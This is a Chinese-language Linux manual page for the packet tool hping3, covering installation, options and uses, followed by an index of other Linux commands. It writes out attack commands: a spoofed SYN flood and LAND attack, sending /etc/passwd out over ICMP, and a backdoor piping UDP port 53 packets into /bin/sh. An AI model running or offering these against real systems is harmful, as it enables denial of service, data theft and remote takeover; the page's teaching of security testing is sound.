赞助商广告

linux操作系统 hping3命令手册

hping3

测试网络及主机的安全

补充说明

hping 是用于生成和解析TCPIP协议数据包的开源工具。创作者是Salvatore Sanfilippo。目前最新版是hping3,支持使用tcl脚本自动化地调用其API。hping是安全审计、防火墙测试等工作的标配工具。hping优势在于能够定制数据包的各个部分,因此用户可以灵活对目标机进行细致地探测。

安装

yum install libpcap-devel tc-devel
ln -s /usr/include/pcap-bpf.h /usr/include/net/bpf.h
wget http://www.hping.org/hping3-20051105.tar.gz
tar zxvf hping3-20051105.tar.gz
cd hping3-20051105
./configure
make
make install

选项

-H --help 显示帮助。
-v -VERSION 版本信息。
-c --count count 发送数据包的次数 关于countreached_timeout 可以在hping2.h里编辑。
-i --interval 包发送间隔时间(单位是毫秒)缺省时间是1秒,此功能在增加传输率上很重要,在idle/spoofing扫描时此功能也会被用到,你可以参考hping-howto获得更多信息-fast 每秒发10个数据包。
-n -nmeric 数字输出,象征性输出主机地址。
-q -quiet 退出。
-I --interface interface name 无非就是eth0之类的参数。
-v --verbose 显示很多信息,TCP回应一般如:len=46 ip=192.168.1.1 flags=RADF seq=0 ttl=255 id=0 win=0 rtt=0.4ms tos=0 iplen=40 seq=0 ack=1380893504 sum=2010 urp=0
-D --debug 进入debug模式当你遇到麻烦时,比如用HPING遇到一些不合你习惯的时候,你可以用此模式修改HPING,(INTERFACE DETECTION,DATA LINK LAYER ACCESS,INTERFACE SETTINGS,.......)
-z --bind 快捷键的使用。
-Z --unbind 消除快捷键。
-O --rawip RAWIP模式,在此模式下HPING会发送带数据的IP头。
-1 --icmp ICMP模式,此模式下HPING会发送IGMP应答报,你可以用--ICMPTYPE --ICMPCODE选项发送其他类型/模式的ICMP报文。
-2 --udp UDP 模式,缺省下,HPING会发送UDP报文到主机的0端口,你可以用--baseport --destport --keep选项指定其模式。
-9 --listen signatuer hping的listen模式,用此模式,HPING会接收指定的数据。
-a --spoof hostname 伪造IP攻击,防火墙就不会记录你的真实IP了,当然回应的包你也接收不到了。
-t --ttl time to live 可以指定发出包的TTL值。
-H --ipproto 在RAW IP模式里选择IP协议。
-w --WINID UNIX ,WINDIWS的id回应不同的,这选项可以让你的ID回应和WINDOWS一样。
-r --rel 更改ID的,可以让ID曾递减输出,详见HPING-HOWTO。
-F --FRAG 更改包的FRAG,这可以测试对方对于包碎片的处理能力,缺省的“virtual mtu”是16字节。
-x --morefrag 此功能可以发送碎片使主机忙于恢复碎片而造成主机的拒绝服务。
-y -dontfrag 发送不可恢复的IP碎片,这可以让你了解更多的MTU PATH DISCOVERY。
-G --fragoff fragment offset value set the fragment offset
-m --mtu mtu value 用此项后ID数值变得很大,50000没指定此项时3000-20000左右。
-G --rroute 记录路由,可以看到详悉的数据等等,最多可以经过9个路由,即使主机屏蔽了ICMP报文。
-C --ICMPTYPE type 指定ICMP类型,缺省是ICMP echo REQUEST。
-K --ICMPCODE CODE 指定ICMP代号,缺省0。
--icmp-ipver 把IP版本也插入IP头。
--icmp-iphlen 设置IP头的长度,缺省为5(32字节)。
--icmp-iplen 设置IP包长度。
--icmp-ipid 设置ICMP报文IP头的ID,缺省是RANDOM。
--icmp-ipproto 设置协议的,缺省是TCP。
-icmp-cksum 设置校验和。
-icmp-ts alias for --icmptype 13 (to send ICMP timestamp requests)
--icmp-addr Alias for --icmptype 17 (to send ICMP address mask requests)
-s --baseport source port hping 用源端口猜测回应的包,它从一个基本端口计数,每收一个包,端口也加1,这规则你可以自己定义。
-p --deskport [+][+]desk port 设置目标端口,缺省为0,一个加号设置为:每发送一个请求包到达后,端口加1,两个加号为:每发一个包,端口数加1。
--keep 上面说过了。
-w --win 发的大小和windows一样大,64BYTE。
-O --tcpoff Set fake tcp data offset. Normal data offset is tcphdrlen / 4.
-m --tcpseq 设置TCP序列数。
-l --tcpck 设置TCP ack。
-Q --seqnum 搜集序列号的,这对于你分析TCP序列号有很大作用。

Hping3功能

Hping3主要有以下典型功能应用:

#  防火墙测试

使用Hping3指定各种数据包字段,依次对防火墙进行详细测试。请参考:http://0daysecurity.com/articles/hping3_examples.html

测试防火墙对ICMP包的反应、是否支持traceroute、是否开放某个端口、对防火墙进行拒绝服务攻击(DoS attack)。例如,以LandAttack方式测试目标防火墙(Land Attack是将发送源地址设置为与目标地址相同,诱使目标机与自己不停地建立连接)。

hping3 -S  -c 1000000 -a 10.10.10.10 -p 21 10.10.10.10

# 端口扫描

Hping3也可以对目标端口进行扫描。Hping3支持指定TCP各个标志位、长度等信息。以下示例可用于探测目标机的80端口是否开放:

hping3 -I eth0  -S 192.168.10.1 -p 80

其中-I eth0指定使用eth0端口,-S指定TCP包的标志位SYN,-p 80指定探测的目的端口。

hping3支持非常丰富的端口探测方式,nmap拥有的扫描方式hping3几乎都支持(除开connect方式,因为Hping3仅发送与接收包,不会维护连接,所以不支持connect方式探测)。而且Hping3能够对发送的探测进行更加精细的控制,方便用户微调探测结果。当然,Hping3的端口扫描性能及综合处理能力,无法与Nmap相比。一般使用它仅对少量主机的少量端口进行扫描。

# Idle扫描

Idle扫描(Idle Scanning)是一种匿名扫描远程主机的方式,该方式也是有Hping3的作者Salvatore Sanfilippo发明的,目前Idle扫描在Nmap中也有实现。

该扫描原理是:寻找一台idle主机(该主机没有任何的网络流量,并且IPID是逐个增长的),攻击端主机先向idle主机发送探测包,从回复包中获取其IPID。冒充idle主机的IP地址向远程主机的端口发送SYN包(此处假设为SYN包),此时如果远程主机的目的端口开放,那么会回复SYN/ACK,此时idle主机收到SYN/ACK后回复RST包。然后攻击端主机再向idle主机发送探测包,获取其IPID。那么对比两次的IPID值,我们就可以判断远程主机是否回复了数据包,从而间接地推测其端口状态。

# 拒绝服务攻击

使用Hping3可以很方便构建拒绝服务攻击。比如对目标机发起大量SYN连接,伪造源地址为192.168.10.99,并使用1000微秒的间隔发送各个SYN包。

hping3 -I eth0 -a192.168.10.99 -S 192.168.10.33 -p 80 -i u1000

其他攻击如smurf、teardrop、land attack等也很容易构建出来。

# 文件传输

Hping3支持通过TCP/UDP/ICMP等包来进行文件传输。相当于借助TCP/UDP/ICMP包建立隐秘隧道通讯。实现方式是开启监听端口,对检测到的签名(签名为用户指定的字符串)的内容进行相应的解析。在接收端开启服务:

hping3 192.168.1.159--listen signature --safe  --icmp

监听ICMP包中的签名,根据签名解析出文件内容。

在发送端使用签名打包的ICMP包发送文件:

hping3 192.168.1.108--icmp ?d 100 --sign signature --file /etc/passwd

/etc/passwd密码文件通过ICMP包传给192.168.10.44主机。发送包大小为100字节(-d 100),发送签名为signature(-sign signature)。

# 木马功能

如果Hping3能够在远程主机上启动,那么可以作为木马程序启动监听端口,并在建立连接后打开shell通信。与netcat的后门功能类似。

示例:本地打开53号UDP端口(DNS解析服务)监听来自192.168.10.66主机的包含签名为signature的数据包,并将收到的数据调用/bin/sh执行。

在木马启动端:

hping3 192.168.10.66--listen signature --safe --udp -p 53 | /bin/sh

在远程控制端:

echo ls >test.cmd
hping3 192.168.10.44 -p53 -d 100 --udp --sign siganature --file ./test.cmd

将包含ls命令的文件加上签名signature发送到192.168.10.44主机的53号UDP端口,包数据长度为100字节。

当然这里只是简单的演示程序,真实的场景,控制端可以利益shell执行很多的高级复杂的操作。

linux命令手册

btrfs subvolume 管理 btrfs 子卷和快照。
aurvote 为 AUR 中的包投票。
apt-add-repository 管理 apt 仓库。
cpuid 显示有关所有 CPU 的详细信息。
blkdiscard 丢弃存储设备上的设备扇区。对 SSD 有用。
adduser 添加用户的工具。
i3 一款动态平铺窗口管理器。
chage 更改用户账户和密码到期信息。
unix2mac 将 Unix 样式的行尾更改为 macOS 样式。
btrfs 一种基于写时复制(COW)原理的 Linux 文件系统。
anbox 在任何 GNU/Linux 操作系统上运行安卓应用。
asterisk 电话和交换(手机)服务器。
ul 执行文本的下划线。
grub-install 安装 GRUB 到设备。
sacctmgr 查看、配置、管理 Slurm 账户。
cp 复制文件和目录。
ubuntu-bug 这是 `apport-bug` 命令的一个别名。
acpi 显示电池状态或热量信息。
apt-cache Debian 和 Ubuntu 的包查询工具。
konsole Konsole: KDE 终端模拟器。
ascii 显示 ASCII 字符的别名。
cal 打印日历信息,高亮显示当前日期。
avahi-browse 显示通过 mDNS/DNS-SD 暴露在本地网络的服务和主机。
readelf 显示 EFI 文件信息。
archlinux-java 提供 Java 环境设置功能的一个帮助脚本。
mac2unix 将 macOS 样式的行尾更改为 Unix 样式。
a2disconf 在基于 Debian 的操作系统上禁用 Apache 配置文件。
archinstall Arch Linux 引导安装程序。
amixer ALSA 声卡驱动程序的混合器。
addr2line 将二进制文件地址转换成文件名和行数。
bluetoothd 管理蓝牙设备的守护进程。
arithmetic 测试见到你的算术问题。
a2ensite 在基于 Debian 的操作系统上启用 Apache 虚拟主机。
btrfs filesystem 管理 btrfs 文件系统。
openvpn3 OpenVPN 3 Linux 客户端。
ark KDE 归档工具。
apport-bug 在 Ubuntu 上提交错误报告。
poweroff 关闭系统。
betterlockscreen 简洁的锁屏程序。
grub-mkconfig 生成GRUB配置文件。
apt-mark 修改已安装软件包状态的工具。
bluetoothctl 从命令行管理蓝牙设备。
lvs 显示逻辑卷信息。
bpftrace Linux eBPF 的高级跟踪语言。
dmesg 显示或控制内核环形缓冲区。
aura Aura 包管理器:一个安全且支持多语言的 Arch Linux 和 AUR 的包管理器。
unix2dos 将 Unix 样式的行尾更改为 DOS 样式。
bitwise 支持动态基数转换和位操作的多基数交互式计算器。
apache2ctl Apache HTTP web 服务器命令行管理工具。
archey 一个可以以新颖的方式显示系统信息的简单工具。
batcat 这是 `bat` 命令的一个别名。
a2dismod 在基于 Debian 的操作系统上禁用 Apache 模块。
line 读取单行输入。
a2query 在基于 Debian 的操作系统上查看 Apache 运行配置。
aptitude Debian 和 Ubuntu 上的软件包管理工具。
btrfs device 管理 btrfs 文件系统中的设备。
at 在指定时间执行命令。
arecored ALSA 声卡驱动的声音录制器。
megadl 这是 `megatools-dl` 命令的一个别名。
pacman Arch Linux 的软件包管理器工具。
as 一个可移植的 GUN 汇编器。
boltctl 控制雷电(thunderbolt)设备。
apt-file 在 apt 软件包中查找文件,其中也包括未安装的软件。
w 显示登录者及其进程。
yay Yet Another Yogurt: 一个用于 Arch Linux 的工具,用于从 Arch User Repository 中构建和安装软件包。
apt-get Debian 和 Ubuntu 的软件包管理工具。
flatpak 构建、安装和运行 Flatpak 应用和运行时。
arch-chroot 辅助 Arch Linux 安装流程的更强 `chroot` 命令。
reboot 重新启动系统。
alpine 一个电子邮件客户端和 usenet 新闻组程序,具有 pico/nano 风格的界面。
aurman 用来构建和安装 AUR 包的 Arch Linux 实用工具。
autorandr 自动调节屏幕布局。
ac 打印用户连接时长数据。
ip-route-list 这是 `ip-route-show` 命令的一个别名。
iptables 可用于配置 Linux 内核防火墙提供的过滤表、规则链和规则的程序。
aplay ALSA 声卡驱动程序的命令行声音播放器。
dos2unix 将 DOS 样式的行尾更改为 Unix 样式。
xcowsay 在您的 Linux 桌面上显示一头可爱的牛和指定的消息。
asciiart 将图像转换为 ASCII.
apt-key Debian 和 Ubuntu 上的 APT 软件包管理器的密钥管理工具。
abbr 管理 fish shell 的缩写。
lsattr 列出 Linux 系统下的文件属性。
add-apt-repository apt 仓库管理。
a2enmod 在基于 Debian 的操作系统上启用 Apache 模块。
balooctl KDE Plasma 的文件索引和搜索框架。
diff3 逐行比较三个文件。
debuild 从源代码构建 `Debian` 软件包的工具。
dmenu 动态菜单。
ncal 这是 `cal` 命令的一个别名。
cc 这是 `gcc` 命令的一个别名。
yaourt Arch Linux 中用于从 Arch User Repository 中构建软件包的工具。
apt 基于 Debian 的发行版上的软件包管理工具。
zypper SUSE & openSUSE 的软件包管理工具。
auracle 用来和 Arch Linux 用户仓库交互的命令行工具,这个仓库通常被称作 AUR.
brctl 以太网桥管理。
a2dissite 在基于 Debian 的操作系统上禁用 Apache 虚拟主机。
aspell 交互式拼写检查工具。
authconfig 用于设置系统认证资源的命令行界面。
btrfs scrub 清理 btrfs 文件系统以验证数据完整性。
bmon 监控带宽并捕获网络相关统计信息。
beep 让电脑扬声器发出哔哔声的实用程序。
brightnessctl GUN/Linux 操作系统上用来读取和控制设备亮度的实用工具。
addpart 将特定分区的存在告知 Linux 内核。
debootstrap 创建一个基本的 `Debian` 系统。
alternatives 这是 `update-alternatives` 命令的一个别名。
bpytop 用图形显示有关正在运行的进程的动态实时信息。类似于 `gtop` 和 `htop`.
flameshot 带有 GUI 界面的 Screenshot 工具。
bspwm 这是 `bspc` 命令的一个别名。
cgroups 这是 `cgclassify` 命令的一个别名。
logsave 将一个命令的输出保存在日志文件中。
a2enconf 在基于 Debian 的操作系统上启用 Apache 配置文件。
apk Alpine Linux 的包管理工具。
blkid 列出所有已识别的分区及其通用唯一标识符 (UUID)。